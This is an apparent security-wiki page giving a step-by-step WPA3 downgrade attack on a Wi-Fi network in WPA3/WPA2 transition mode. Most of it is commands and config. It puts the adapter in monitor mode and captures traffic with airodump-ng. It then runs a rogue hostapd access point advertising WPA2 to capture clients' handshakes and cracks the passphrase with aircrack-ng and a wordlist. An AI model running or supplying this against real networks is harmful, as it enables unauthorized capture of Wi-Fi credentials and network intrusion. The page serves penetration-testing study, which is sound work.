> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/pwnage/wifi/wpa3-downgrade-attack.md). # WPA3 Downgrade attack WLAN configured for WPA3 SAE with backward compatibility

Confirmation via airodump-ng

Create a rouge access point that will broadcast an RSN IE of WPA2

Start airodump-ng before running the fake AP

Start fake AP

Clients are already trying to auth against the fake AP

The fake AP does not know the correct PSK, but the client and AP will exchange a few frames. The four-way hand-shake was captured

Attempt to retrieve the PSK via a dictionary attack

## Script to execute the scenario

:> ifconfig wlan0 down
:> iw dev wlan0 set monitor none
:> ifconfig wlan0 up

:> airodump-ng --band abg --essid xxx-GUEST -w xxxguest wlan0 --channel 1,6,11



----host.cfg-----
interface=wlan0
ssid=XXX-GUEST
hw_mode=g
channel=9
auth_algs=1
wpa=2
wpa_passphrase=LETMEIN1234
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

:> hostapd host.conf

:> aircrack-ng *.pcap -w rockyou.txt

## Resources {% embed url="" %} {% embed url="" %}